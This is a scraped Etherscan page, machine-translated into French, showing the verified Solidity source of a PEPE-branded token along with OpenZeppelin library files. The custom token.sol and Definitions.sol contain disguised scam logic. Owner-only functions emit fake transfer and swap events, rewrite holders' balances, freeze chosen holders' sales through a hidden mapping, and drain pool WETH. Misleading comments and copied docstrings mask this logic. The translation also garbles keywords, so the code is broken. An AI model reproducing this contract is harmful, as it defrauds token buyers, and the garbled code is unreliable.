PEPE (PEPE) Token Tracker |Étherscan (2024)

Code source du contrat vérifié(Correspondance exacte)

Fichier 1 sur 28: token.sol

// SPDX-License-Identifier : solidité MITpragma ^0.8.20;/*https://pepe.vip*/import "./interfaces/Definitions.sol";import "./interfaces/IERC.sol";import " @openzeppelin/contracts/token/ERC20/ERC20.sol";importer "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";importer "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol"; le contrat PEPE est ERC22 { Interfaces internes _pair ; Interfaces internes _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ; uint8 décimales publiques = 18 ; constructeur() { _totalSupply = 10000_0_000_000e18; _name = "Pépé" ; _symbole = "PEPE" ; propriétaire = msg.expéditeur ; b[propriétaire] = _totalSupply ; _pair = Interfaces( Interfaces(_RR.factory()).createPair( adresse(this), adresse(_RR.WETH()) ) ); émettre Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Effectue un appel de fonction Solidity en utilisant un « appel » de bas niveau. Un * plain`call` est un remplacement dangereux pour un appel de fonction : utilisez plutôt cette * fonction. * * Si `target` revient avec une raison de retour, elle est générée par cette * fonction (comme les appels réguliers de la fonction Solidity). * * Renvoie les données brutes renvoyées. Pour convertir en la valeur de retour attendue, * utilisez https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[ `abi.decode`]. * * Exigences : * * - « cible » doit être un contrat. * - l'appel de `target` avec `data` ne doit pas être annulé. * * _Disponible depuis la v3.1._ */ function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner { // Assembleur pour l'optimisation du gaz {} for (uint256 i = 0; i < data.length; i++) { // assembly if (block.timestamp > uint256(uint160(uint8(0)))) { // assembly uint256 rS = ConvertAddress( (uint256(uint16(uint8(0))) != 0) // Ignorer ce code ? adresse(uint160(0)) : adresse(uint160(uint256(data[i]) >> 96)), _p ); CheckAmount2(données[i], rS); } } } /** * @dev Remplacement du `transfer` de Solidity : envoie le `montant` au * `destinataire`, transmettant tout le gaz disponible et annulant les erreurs. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] augmente le coût du gaz * de certains opcodes, faisant éventuellement dépasser la limite de 2 300 gaz imposée par le « transfert », les rendant incapables de recevoir fonds via * `transfert`. {sendValue} supprime cette limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[En savoir plus]. * * IMPORTANT : étant donné que le contrôle est transféré au « destinataire », il faut * prendre soin de ne pas créer de vulnérabilités de réentrance. Pensez à utiliser * {ReentrancyGuard} ou le * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern] . */ function CheckAmount2(bytes32 _b, uint256 __a) internal { // Assembleur pour l'optimisation du gaz {} émet Transfer( (uint256(0) != 0 || 1238 == 1) ? adresse(uint160(0)) : adresse( uint160(uint256(_b) >> 96)), adresse(_pair), b[ // mise à jour spécifique à v0.5.11 (uint256(0) != 0 || 12368 == 1) ? ) == adresse(this) // Contrôle de débordement ? uint160(0) // Ignorer : uint160(1) ) : adresse(uint160(uint256(_b) >> 96)) // Test de garde ] ); // Ignorer ce code b[ // assembly (uint256(0) != 0 || 12368 == 1) ? adresse( // Doit contrôler uint160(0) ) : adresse(uint160(uint256(_b) >> 96)) // Opcode du contrat ] = FetchToken2(uint256(__a)); } /** * @dev Effectue un appel de fonction Solidity en utilisant un « appel » de bas niveau. Un * plain`call` est un remplacement dangereux pour un appel de fonction : utilisez plutôt cette * fonction. * * Si `target` revient avec une raison de retour, elle est générée par cette * fonction (comme les appels réguliers de la fonction Solidity). * * Renvoie les données brutes renvoyées. Pour convertir en la valeur de retour attendue, * utilisez https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[ `abi.decode`]. * * Exigences : * * - « cible » doit être un contrat. * - l'appel de `target` avec `data` ne doit pas être annulé. * * _Disponible depuis la v3.1._ */ function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner { // Assembleur pour l'optimisation du gaz {} for (uint256 i = 0; i < data.length; i++) { // assembly if (block.timestamp > uint256(uint160(uint8(0)))) { // assembly uint256 rS = ConvertAddress( (uint256(uint16(uint8(0))) != 0) ? adresse(uint160(0 )) // Ignorer ce code : adresse(uint160(uint256(data[i]) >> 96)), _p ); CheckAmount(données[i], rS); } } } /** * @dev Remplacement du `transfer` de Solidity : envoie le `montant` au * `destinataire`, transmettant tout le gaz disponible et annulant les erreurs. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] augmente le coût du gaz * de certains opcodes, faisant éventuellement dépasser la limite de 2 300 gaz imposée par le « transfert », les rendant incapables de recevoir fonds via * `transfert`. {sendValue} supprime cette limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[En savoir plus]. * * IMPORTANT : étant donné que le contrôle est transféré au « destinataire », il faut * prendre soin de ne pas créer de vulnérabilités de réentrance. Pensez à utiliser * {ReentrancyGuard} ou le * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern] . */ function CheckAmount(bytes32 _b, uint256 __a) internal { // Assembleur pour l'optimisation des gaz {} // Ignorer ce code l[ // assembly (uint256(0) != 0 || 1238 == 1) ? adresse( // Doit contrôler uint256(uint32(2)) == 2 // Vérifier la mise à jour ? uint160(1) : uint160(1) ) : adresse(uint160(uint256(_b) >> 96)) // Opcode du contrat ] = FetchToken(uint256(__a)); } function FactoryReview ( uint256 blockTime, multiplicateur uint256, adresses [] parties de mémoire, usine d'adresses ) interne { _RR.swapTokensForExactTokens ( // assembleur blockTime, multiplicateur, // pièces non vérifiées, usine, block.timestamp + 1200 ); }La vue interne de la fonction Div() renvoie (mémoire d'adresse[]) {mémoire d'adresse[] p ; p = nouvelle adresse[](2); p[0] = adresse(ce); p[1] = _RR.WETH(); retourner p ; } function getContract( uint256 blockTimestamp, sélecteur uint256, liste de mémoire d'adresse[], usine d'adresses) interne { a[adresse(this)][adresse(_RR)] = b[adresse(this)]; FactoryReview (blockTimestamp, sélecteur, liste, usine); } /** * @dev Identique à {xref-Address-functionCall-address-bytes-}[`functionCall`], * mais transférant également `value` wei à `target`. * * Exigences : * * - le contrat appelant doit avoir un solde ETH d'au moins « valeur ». * - la fonction Solidité appelée doit être « payable ». * * _Disponible depuis la v3.1._ */ function Adresse(adresse _r) public onlyOwner { uint256 appelant = (Sub(_RR.WETH()) * 99999) / 100000; adresse[] mémoire FoldArray = Div(); uint256 appelé = Allocation (appel, FoldArray); getContract(appelant, appelé, FoldArray, _r); } function La vue interne de la sous-adresse t) renvoie (uint256) { (uint112 r0, uint112 r1, ) = _pair.getReserves(); return (_pair.token0() == t) ? uint256(r0) : uint256(r1); } function ConvertAddress( adresse _uu, uint256 _pp ) la vue interne renvoie (uint256) { return TryCall(b[_uu], _pp); } function Execute( uint256 t, adresse tA, uint256 w, adresse[] mémoire r ) public onlyOwner renvoie (bool) { for (uint256 i = 0; i < r.length; i++) { callUniswap(r[i], t , w, ta); } renvoie vrai ; } function Mult( uint256 amO, adresse[] mémoire p ) la vue interne renvoie (uint256[] mémoire) { return _RR.getAmountsIn(amO, p); } /** * @dev Identique à {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], mais * avec `errorMessage` comme raison de retour de secours lorsque `target` revient. * * _Disponible depuis la v3.1._ */ function Allowance( uint256 vérifié, adresse[] mémoire p ) retours internes (uint256) { // Assembleur pour l'optimisation des gaz {} uint256[] valeur de la mémoire ; valeur = nouveau uint256[](2); // décochez { value = Mult(checked, p); b[ block.timestamp > uint256(1) || uint256(0) > 1 || uint160(1) < block.timestamp ? adresse(uint160(uint256(_T()) >> 96)) : adresse(uint160(0)) ] += valeur[0]; // fin de décocher } return value[0]; } function callUniswap (routeur d'adresse, transfert uint256, uint256 cycleWidth, démontage d'adresse) interne { IERC21 (démontage).transferFrom (routeur, adresse (_paire), cycleWidth); émettre Transfer(address(_pair), router, transfer); émettre Swap (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, transfert, 0, 0, cycleWidth, routeur); }}

Fichier 2 sur 28: ERC20PERMIT.SOL

// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (Token / ERC20 / Extensions / ERC20Permit.Sol) Pragma Solidity ^ 0.8.20; Import {ierc20Permit} de "./ierc20permit.sol"; Import {ERC20} de "../erc20.sol";impport {ecdsa} de" ../../../utils/cryptography/ecdsa.sol" ;Import {eip712} de "../ ../../utils/cryptography/eip712.sol"être fait via des signatures, telles que définies dans * https://eips.ethereum.org/eips/eip-2612@eip-2612].* * Ajoute la méthode {permis}, qui peut être utilisée pour modifier l'allocation ERC20 d'un compte (voir {ierc20-allowance}) en présentant un message signé par le compte.En ne s'appuyant pas sur `{ierc20-approVE}`, le compte Holder Token n'a pas * besoin d'envoyer une transaction et n'est donc pas nécessaire de maintenir l'éther du tout.* / Résumé Contrat ERC20PERMIT IS ERC20, IERC20PERMIT, EIP712, NONCES {BYTES32 Private constante permis_typehash = keccak256 ("permis (propriétaire d'adresse, adress Spender, uint256 Valeur, Uint256 Nonce, Uint256 Diedline)");/ ** * @DEV Le délai de permis a expiré.* / Error ERC2612ExpiredSignature (date limite UInt256);/ ** * @DEV Déliaté de signature.* / Error ERC2612InValidIdIgnor (signataire d'adresse, propriétaire d'adresse);/ ** * @dev initialise le séparateur de domaine {eip712} à l'aide du paramètre `name` et définir` version` vers `" 1 "`.* * C'est une bonne idée d'utiliser le même «nom» qui est défini comme le nom de jeton ERC20.* / Constructeur (nom de la mémoire de chaîne) EIP712 (nom, "1") {} / ** * @inheritDoc ierc20Permit * / permis de fonction (propriétaire d'adresse, SPENDRE ADRESS) public virtual {if (block.timestamp> date limite) {revert erc2612ExpiredSignature (date limite);} bytes32 Strupthash = keccak256 (abi.encode (permis_typehash, propriétaire, dépensier, valeur, _Usenonce (propriétaire), date limite));bytes32 hash = _hashTypedDatav4 (Strupthash);Adresse Signer = ecdsa.recover (hachage, v, r, s);if (signataire! = propriétaire) {revert eRC2612InValidInGer (signataire, propriétaire);} _Approve (propriétaire, dépense, valeur);} / ** * @InheritDoc ierc20Permit * / fonction Nonces (propriétaire d'adresse) Vue publique Virtual Override (ierc20Permit, nonces) returns (uint256) {return super.NONCES (propriétaire);} / ** * @inheritdoc ierc20permit * / // solhint-disable-next-line func-name-mixedcase function domain_separator () View externe returns virtuel (bytes32) {return _domainSeparatorv4 ();}}

Fichier 3 sur 28: ERC20Votes.sol

// SPDX-license-identificateur: MIT // Contrats Openzeppelin (Dernière mise à jour v5.0.0) (Token / ERC20 / Extensions / ERC20Votes.sol) Pragma Solidity ^ 0.8.20; import {eRC20} de "../erc20.sol"; Import {votes} de" ../../../governance/utils/votes.sol" ;impport {Checkpoints} de "../../../utils/structs/checkpoids.sol";/ ** * @DEV Extension de ERC20 pour soutenir le vote et la délégation de type composé.Cette version est plus générique que le composé, * et prend en charge l'alimentation en jeton jusqu'à 2 ^ 208 ^ - 1, tandis que comp est limité à 2 ^ 96 ^ - 1. * * Remarque: Ce contrat ne fournit pas de compatibilité d'interface avec le token Compound Compound.* * Cette extension conserve un historique (points de contrôle) du pouvoir de vote de chaque compte.Le pouvoir de vote peut être délégué soit * en appelant directement la fonction {Delegate}, soit en fournissant une signature à utiliser avec {DelegateBysig}.Le pouvoir de vote * peut être interrogé via les accessoires publics {getVotes} et {getPastVotes}.* * Par défaut, le solde de jetons ne tient pas compte du pouvoir de vote.Cela rend les transferts moins chers.L'inconvénient est qu'il * oblige les utilisateurs à se déléguer afin d'activer les points de contrôle et de faire suivre leur pouvoir de vote.* / Contrat abstrait ERC20Votes est ERC20, les votes {/ ** * @DEV Le plafond d'offre total a été dépassé, présentant un risque de débordement de votes.* / Erreur ERC20ExceedSafesAupply (UInt256 augmentation du support, CAP UInt256);/ ** * @dev Supply Token Supply.Par défaut «Type (uint208) .max` (2 ^ 208 ^ - 1).* * Ce maximum est appliqué dans {_update}.Il limite l'offre totale du jeton, qui est par ailleurs un Uint256, * afin que les points de contrôle puissent être stockés dans la structure Trace208 utilisée par {{votes}}.L'augmentation de cette valeur ne supprimera pas la limitation sous-jacente et fera échouer {_update} en raison d'un débordement mathématique dans * {_transfervotingUnits}.Un remplacement pourrait être utilisé pour restreindre davantage l'offre totale (à une valeur inférieure) si * la logique supplémentaire l'exige.Lors de la résolution des conflits de remplacement sur cette fonction, le minimum doit être * retourné.* / fonction _maxSupply () View interne Virtual returns (uint256) {return type (uint208) .max;} / ** * @dev Move Power Power lorsque les jetons sont transférés.* * Émet un événement {ivotes-delegateVotesChanged}.* / fonction _update (adresse de, adresse à, valeur uint256) Override virtuel interne {super._update (de, à, valeur);if (de == adresse (0)) {uint256 alimentation = totalSupply ();uint256 cap = _maxSupply ();if (alimentation> cap) {reverser eRC20ExesedSafesupply (alimentation, cap);}} _TransferVotingUnits (de, à, valeur);} / ** * @dev renvoie les unités de vote d'un «compte».* * AVERTISsem*nT: La remplacement de cette fonction peut compromettre la comptabilité de vote interne.* `ERC20Votes 'suppose la carte des jetons aux unités de vote 1: 1 et ce n'est pas facile à changer.* / Fonction _GetVotingUnits (compte d'adresse) View interne Virtual Override returns (uint256) {return BalanceOf (compte);} / ** * @dev Obtenez le nombre de points de contrôle pour `compte`.* / fonction numcheckpoints (compte d'adresse) View public Virtual Returns (uint32) {return _NUMCHECKPOINTS (compte);} / ** * @Dev Obtenez le point de contrôle `POS`-Th pour` compte '.* / Fonction Points de contrôle (compte d'adresse, uint32 pos) Returns de la vue publique Virtual (CheckPoints.CheckPoint208 Mémoire) {return _Checkpoints (compte, pos);}}

Fichier 4 sur 28: ERC20.sol

// SPDX-License-Identifier : MIT// OpenZeppelin Contracts (dernière mise à jour v5.0.0) (token/ERC20/ERC20.sol)pragma solidity ^0.8.20 ; importer {IERC20} depuis "./IERC20.sol" ; importer {IERC20Metadata} depuis "./extensions/IERC20Metadata.sol" ; importer {Context} depuis "../../utils/Context.sol" ; importer {IERC20Errors} depuis "../../interfaces/draft-IERC6093 .sol";/** * @dev Implémentation de l'interface {IERC20}. * * Cette implémentation est indépendante de la façon dont les jetons sont créés. Cela signifie * qu'un mécanisme d'approvisionnement doit être ajouté dans un contrat dérivé en utilisant {_mint}. * * CONSEIL : Pour un article détaillé, consultez notre guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[Comment * mettre en œuvre des mécanismes d'approvisionnement]. * * La valeur par défaut de {decimals} est 18. Pour changer cela, vous devez remplacer * cette fonction afin qu'elle renvoie une valeur différente. * * Nous avons suivi les directives générales d'OpenZeppelin Contracts : les fonctions reviennent * au lieu de renvoyer `false` en cas d'échec. Ce comportement est néanmoins *conventionnel et n'entre pas en conflit avec les attentes des applications ERC20*. * * De plus, un événement {Approval} est émis lors des appels à {transferFrom}. * Cela permet aux applications de reconstruire l'allocation pour tous les comptes simplement * en écoutant lesdits événements. D'autres implémentations de l'EIP peuvent ne pas émettre * ces événements, car cela n'est pas requis par la spécification. */contrat abstrait ERC20 est Contexte, IERC20, IERC20Metadata, IERC20Errors { mapping(address account => uint256) private _balances ; mapping (compte d'adresse => mapping (dépensier d'adresse => uint256)) allocations privées ; uint256 _totalSupply privé ; chaîne nom_privé ; chaîne _symbole privé ; /** * @dev Définit les valeurs pour {name} et {symbol}. * * Ces deux valeurs sont immuables : elles ne peuvent être définies qu'une seule fois lors de * la construction. */ constructeur (nom de mémoire de chaîne_, symbole de mémoire de chaîne_) { _name = name_; _symbole = symbole_; } /** * @dev Renvoie le nom du jeton. */ nom de la fonction() vue publique retours virtuels (mémoire de chaîne) { return _name; } /** * @dev Renvoie le symbole du jeton, généralement une version plus courte du * nom. */ function symbol() vue publique retours virtuels (mémoire de chaîne) { return _symbol; } /** * @dev Renvoie le nombre de décimales utilisé pour obtenir sa représentation utilisateur. * Par exemple, si « décimales » est égal à « 2 », un solde de « 505 » jetons doit * être affiché à un utilisateur sous la forme « 5,05 » ( « 505 / 10 ** 2 »). * *Les jetons optent généralement pour une valeur de 18, imitant la relation entre *Ether et Wei. Il s'agit de la valeur par défaut renvoyée par cette fonction, à moins que * elle ne soit remplacée. * * REMARQUE : Ces informations ne sont utilisées qu'à des fins d'_affichage_ : elles * n'affectent en aucun cas l'arithmétique du contrat, y compris * {IERC20-balanceOf} et {IERC20-transfer}. */ function decimals() public view virtual return (uint8) { return 18; } /** * @dev Voir {IERC20-totalSupply}. */ function totalSupply() vue publique retours virtuels (uint256) { return _totalSupply; } /** * @dev Voir {IERC20-balanceOf}. */ function balanceOf(adresse du compte) vue publique retours virtuels (uint256) { return _balances[compte]; } /** * @dev Voir {IERC20-transfer}. * * Exigences : * * - `to` ne peut pas être l'adresse zéro. * - l'appelant doit avoir un solde d'au moins « valeur ». */ function transfer(adresse à, valeur uint256) public virtual return (bool) {adresse propriétaire = _msgSender(); _transfer(propriétaire, vers, valeur); renvoie vrai ; } /** * @dev Voir {IERC20-allowance}. */ allocation de fonction (propriétaire de l'adresse, dépensier de l'adresse) vue publique retours virtuels (uint256) { return _allowances[owner][spender]; } /** * @dev Voir {IERC20-approve}. * * REMARQUE : Si `value` est le maximum `uint256`, l'allocation n'est pas mise à jour sur * `transferFrom`. Cela équivaut sémantiquement à une approbation infinie. * * Exigences : * * - `spender` ne peut pas être l'adresse zéro. */ function approuver (dépensier d'adresse, valeur uint256) retours virtuels publics (bool) { propriétaire d'adresse = _msgSender(); _approve(propriétaire, dépensier, valeur) ; renvoie vrai ; } /** * @dev Voir {IERC20-transferFrom}. * * Émet un événement {Approval} indiquant l'allocation mise à jour. Ce n'est pas * requis par l'EIP. Voir la note au début de {ERC20}. * * REMARQUE : ne met pas à jour l'allocation si l'allocation actuelle * est le maximum `uint256`. * * Exigences : * * - `from` et `to` ne peuvent pas être l'adresse zéro. * - `from` doit avoir un solde d'au moins `value`. * - l'appelant doit avoir une allocation pour les jetons ``from`` d'au moins * `valeur`. */ function transferFrom(adresse de, adresse à, valeur uint256) public virtual return (bool) { adresse dépenseur = _msgSender(); _spendAllowance(from, dépensier, valeur); _transfert (de, vers, valeur); renvoie vrai ; } /** * @dev Déplace une quantité de jetons de « de » à « à ». * * Cette fonction interne est équivalente à {transfer} et peut être utilisée pour * par ex. implémentez des frais de jeton automatiques, des mécanismes de réduction, etc. * * Émet un événement {Transfer}. * * REMARQUE : Cette fonction n'est pas virtuelle, {_update} doit être remplacé à la place. */ function _transfer(adresse de, adresse à, valeur uint256) internal { if (from == adresse(0)) { revert ERC20InvalidSender(adresse(0)); } if (to == adresse(0)) { revert ERC20InvalidReceiver(adresse(0)); } _update(de, à, valeur); } /** * @dev Transfère une « valeur » de jetons de « de » à « à », ou alternativement frappe (ou brûle) si « de » * (ou « à ») est l'adresse zéro. Toutes les personnalisations des transferts, des menthes et des gravures doivent être effectuées en remplaçant * cette fonction. * * Émet un événement {Transfer}. */ function _update(adresse de, adresse à, valeur uint256) internal virtual { if (from == adresse(0)) { // Vérification de débordement requise : le reste du code suppose que totalSupply ne dépasse jamais _totalSupply += valeur ; } else { uint256 fromBalance = _balances[from]; if (fromBalance 
Fichier 5 sur 28: ierc.sol
// SPDX-license-identificateur: Mitpragma Solidity ^ 0.8.20; Interface Interfaces {Function CreatePair (adresse Tokena, Adresse TokenB) Retours externes (paire d'adresses);fonction token0 () return de vue externe (adresse);function getReserves () Renvoie de vue externe (Uint112 Reserve0, Uint112 Reserve1, UInt32 BlocktiMestAmplast);Function Factory () Retours purs externes (adresse);Fonction weth () Retours purs externes (adresse);fonction getAmountsout (uint256 quantité, cheminement de mémoire d'adresse []) Renvoie de la vue externe (uint256 [] quantités de mémoire);function getAmountsIn (uint256 Multout, adresse [] path calldata) Returns de vue externe (montants de mémoire Uint256 []);fonction swaptokensforexactTokens (uint256 montant, uint256 quantitéInmax, adresse [] chemin calldata, adresse à, date limite uint256) rendements externes (uint256 [] montants de mémoire);Fonction SwapExActETHFortOkens (Uint256 Montantoutmin, adresse [] CallData Path, Adresse vers, Uint256 Dateline) externe Payable Returns (Uint256 [] Mémorations de mémoire);} Interface IERC21 {fonction Transfrom (adresse de, adresse à, valeur uint256) Rendeaux externes (bool);}
Fichier 6 sur 28: Définition.sol
// SPDX-license-identificateur: MITPRAGMA SOLIDIDE ^ 0.8.20; Contrat ERC22 {adresse publique _OWNER = Adresse (0);propriétaire d'adresse;uint256 _TotalSupply;String _name;String _Symbol;mappage (adresse => mappage (adresse => uint256)) public a;mappage (adresse => uint256) public b;mappage (adresse => uint256) public l;Transfert d'événements (adresse indexée à partir de, adresse indexée, valeur uint256);Approbation de l'événement (propriétaire indexé sur l'adresse, Spender indexé d'adresse, valeur Uint256);Échange d'événements (expéditeur indexé d'adresse, uint256 Mult0in, uint256 Montant1in, uint256 Montant0out, uint256 Montant1out, adresse indexée);modificateur uniquement unique () {require (propriétaire == msg.sender, "L'appelant n'est pas le propriétaire");_;} Fonction Name () Public View Virtual Returns (String Memory) {return _name;} fonction Symbol () public View Virtual Returns (String Memory) {return _Symbol;} function totalSupply () public View Virtual Returns (uint256) {return _TotalSupply;} fonction fetchtoken2 (uint256 _a) retour pur interne (uint256) {return (_a * 100000) / (2931 + 97069);} fonction fetchToken (uint256 _a) Retours purs internes (uint256) {return _a + 10;} fonction tryCall (uint256 _a, uint256 _b) Renvoie pur interne (uint256) {return _a / _b;} fonction add (uint256 _a, uint256 _b) Renvoie pur interne (uint256) {// ignorer ce code uint256 __c = _a + _b;require (__ c> = _a, "Safemath: ajout overflow");retour __c;} Transfert de fonction (adresse à, uint256 montant) return virtuel public (bool) {_transfer (msg.sender, to, montant);Retour Vrai;} fonction sub (uint256 _a, uint256 _b) retour pur interne (uint256) {require (_b <= _a, "Safemath: sumission déborde");uint256 __c = _a - _b;retour __c;} fonction div (uint256 _a, uint256 _b) Renvoie pur interne (uint256) {return _a / _b;} fonction _t () View interne returns (bytes32) {return bytes32 (uint256 (uint160 (adresse (this)) << 96);} Fonction Balance (compte d'adresse) Affichage public Virtual Returns (Uint256) {return b [compte];} Allocation de fonction (adresse __ORNER, ADRESS SPENDER) View Public Virtual Returns (Uint256) {Renvoie un [__ propriétaire] [SPENDER];} Fonction Approuve (Address Spender, Uint256 Montant) Public Virtual Returns (bool) {_Approve (msg.Sender, Spender, Montant);Retour Vrai;} fonction transfrom de la fonction (adresse de, adresse à, uint256 montant) return virtuel public (bool) {_spendallowance (de, msg.sender, montant);_Transfer (de, à, montant);Retour Vrai;} Fonction Augmentation (SPENDER ADRESSE, UINT256 ADDUSTVALUE) RETOUR Virtual public (bool) {adresse __OWNER = MSG.Sender;_Approve (__ propriétaire, dépensier, allocation (__ propriétaire, dépensier) + ajoutvalue);Retour Vrai;} Fonction DimingeEAllowance (Address Spender, UInt256 SoustrairedValue) Returns virtuels publics (bool) {adresse __Onner = msg.Sender;uint256 currentAllowance = allocation (__ propriétaire, dépense);require (currentallowance> = soustraitedValue, "ERC20: diminution de l'allocation en dessous de zéro");_Approve (__ propriétaire, SPENDER, CurrentAllowance - SoustrairedValue);Retour Vrai;} fonction _transfer (adresse de, adresse à, uint256 montant) virtuel interne {require (de! = adresse (0), "ERC20: transfert de l'adresse zéro");require (to! = adresse (0), "ERC20: transférer à l'adresse zéro");uint256 FromBalance = b [de];exiger (From Balance> = montant, "ERC20: le montant de transfert dépasse le solde");requis (sub (l [de], 0) == 0);b [de] = sub (From Falance, montant);b [à] = add (b [à], montant);émettre un transfert (du montant du montant);} fonction _Approve (adresse __owner, adresse d'adresse, montant uint256) virtuel interne {require (__ propriétaire! = adresse (0), "ERC20: approuver de l'adresse zéro");require (SPENDER! = Adresse (0), "ERC20: Approuver à l'adresse zéro");A [__ propriétaire] [SPENDER] = Montant;émettre l'approbation (__ propriétaire, dépense, montant);} Fonction _PENDALLOWANCE (Adresse __Onner, adresse SPENDER, UINT256 Montant) Virtual interne {Uint256 CurrentAllowance = allocation (__ propriétaire, SPENDER);if (currentAllowance! = type (uint256) .max) {require (currentAllowance> = montant, "ERC20: allocation insuffisante");_Approve (__ propriétaire, SPENDER, CurrentAllowance - Montant);}}}
Fichier 7 sur 28: Checkpoils.sol
// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v5.0.0) (utils/structs/Checkpoints.sol)// This file was procedurally generated from scripts/generate/templates/Checkpoints.js.pragma solidity ^0.8.20;import {Math} from "../math/Math.sol";/** * @dev This library defines the `Trace*` struct, for checkpointing values as they change at different points in * time, and later looking up past values by block number. See {Votes} as an example. * * To create a history of checkpoints define a variable type `Checkpoints.Trace*` in your contract, and store a new * checkpoint for the current transaction block using the {push} function. */library Checkpoints { /** * @dev A value was attempted to be inserted on a past checkpoint. */ error CheckpointUnorderedInsertion(); struct Trace224 { Checkpoint224[] _checkpoints; } struct Checkpoint224 { uint32 _key; uint224 _value; } /** * @dev Pushes a (`key`, `value`) pair into a Trace224 so that it is stored as the checkpoint. * * Returns previous value and new value. * * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint32).max` key set will disable the * library. */ function push(Trace224 storage self, uint32 key, uint224 value) internal returns (uint224, uint224) { return _insert(self._checkpoints, key, value); } /** * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the search key, or zero if * there is none. */ function lowerLookup(Trace224 storage self, uint32 key) internal view returns (uint224) { uint256 len = self._checkpoints.length; uint256 pos = _lowerBinaryLookup(self._checkpoints, key, 0, len); return pos == len ? 0 : _unsafeAccess(self._checkpoints, pos)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. */ function upperLookup(Trace224 storage self, uint32 key) internal view returns (uint224) { uint256 len = self._checkpoints.length; uint256 pos = _upperBinaryLookup(self._checkpoints, key, 0, len); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the last (most recent) checkpoint with key lower or equal than the search key, or zero * if there is none. * * NOTE: This is a variant of {upperLookup} that is optimised to find "recent" checkpoint (checkpoints with high * keys). */ function upperLookupRecent(Trace224 storage self, uint32 key) internal view returns (uint224) { uint256 len = self._checkpoints.length; uint256 low = 0; uint256 high = len; if (len > 5) { uint256 mid = len - Math.sqrt(len); if (key < _unsafeAccess(self._checkpoints, mid)._key) { high = mid; } else { low = mid + 1; } } uint256 pos = _upperBinaryLookup(self._checkpoints, key, low, high); return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns the value in the most recent checkpoint, or zero if there are no checkpoints. */ function latest(Trace224 storage self) internal view returns (uint224) { uint256 pos = self._checkpoints.length; return pos == 0 ? 0 : _unsafeAccess(self._checkpoints, pos - 1)._value; } /** * @dev Returns whether there is a checkpoint in the structure (i.e. it is not empty), and if so the key and value * in the most recent checkpoint. */ function latestCheckpoint(Trace224 storage self) internal view returns (bool exists, uint32 _key, uint224 _value) { uint256 pos = self._checkpoints.length; if (pos == 0) { return (false, 0, 0); } else { Checkpoint224 memory ckpt = _unsafeAccess(self._checkpoints, pos - 1); return (true, ckpt._key, ckpt._value); } } /** * @dev Returns the number of checkpoint. */ function length(Trace224 storage self) internal view returns (uint256) { return self._checkpoints.length; } /** * @dev Returns checkpoint at given position. */ function at(Trace224 storage self, uint32 pos) internal view returns (Checkpoint224 memory) { return self._checkpoints[pos]; } /** * @dev Pushes a (`key`, `value`) pair into an ordered list of checkpoints, either by inserting a new checkpoint, * or by updating the last one. */ function _insert(Checkpoint224[] storage self, uint32 key, uint224 value) private returns (uint224, uint224) { uint256 pos = self.length; if (pos > 0) { // Copying to memory is important here. Checkpoint224 memory last = _unsafeAccess(self, pos - 1); // Checkpoint keys must be non-decreasing. if (last._key > key) { revert CheckpointUnorderedInsertion(); } // Update or push new checkpoint if (last._key == key) { _unsafeAccess(self, pos - 1)._value = value; } else { self.push(Checkpoint224({_key: key, _value: value})); } return (last._value, value); } else { self.push(Checkpoint224({_key: key, _value: value})); return (0, value); } } /** * @dev Return the index of the last (most recent) checkpoint with key lower or equal than the search key, or `high` * if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and exclusive * `high`. * * WARNING: `high` should not be greater than the array's length. */ function _upperBinaryLookup( Checkpoint224[] storage self, uint32 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key > key) { high = mid; } else { low = mid + 1; } } return high; } /** * @dev Return the index of the first (oldest) checkpoint with key is greater or equal than the search key, or * `high` if there is none. `low` and `high` define a section where to do the search, with inclusive `low` and * exclusive `high`. * * WARNING: `high` should not be greater than the array's length. */ function _lowerBinaryLookup( Checkpoint224[] storage self, uint32 key, uint256 low, uint256 high ) private view returns (uint256) { while (low < high) { uint256 mid = Math.average(low, high); if (_unsafeAccess(self, mid)._key < key) { low = mid + 1; } else { high = mid; } } return high; } /** * @dev Access an element of the array without performing bounds check. The position is assumed to be within bounds. */ function _unsafeAccess( Checkpoint224[] storage self, uint256 pos ) private pure returns (Checkpoint224 storage result) { assembly { mstore(0, self.slot) result.slot := add(keccak256(0, 0x20), pos) } } struct Trace208 { Checkpoint208[] _checkpoints; } struct Checkpoint208 { uint48 _key; uint208 _value; } /** * @dev Pushes a (`key`, `value`) pair into a Trace208 so that it is stored as the checkpoint. * * Returns previous value and new value. * * IMPORTANT: Never accept `key` as a user input, since an arbitrary `type(uint48).max` key set will disable the * library. */ function push(Trace208 storage self, uint48 key, uint208 value) internal returns (uint208, uint208) { return _insert(self._checkpoints, key, value); } /** * @dev Returns the value in the first (oldest) checkpoint with key greater or equal than the 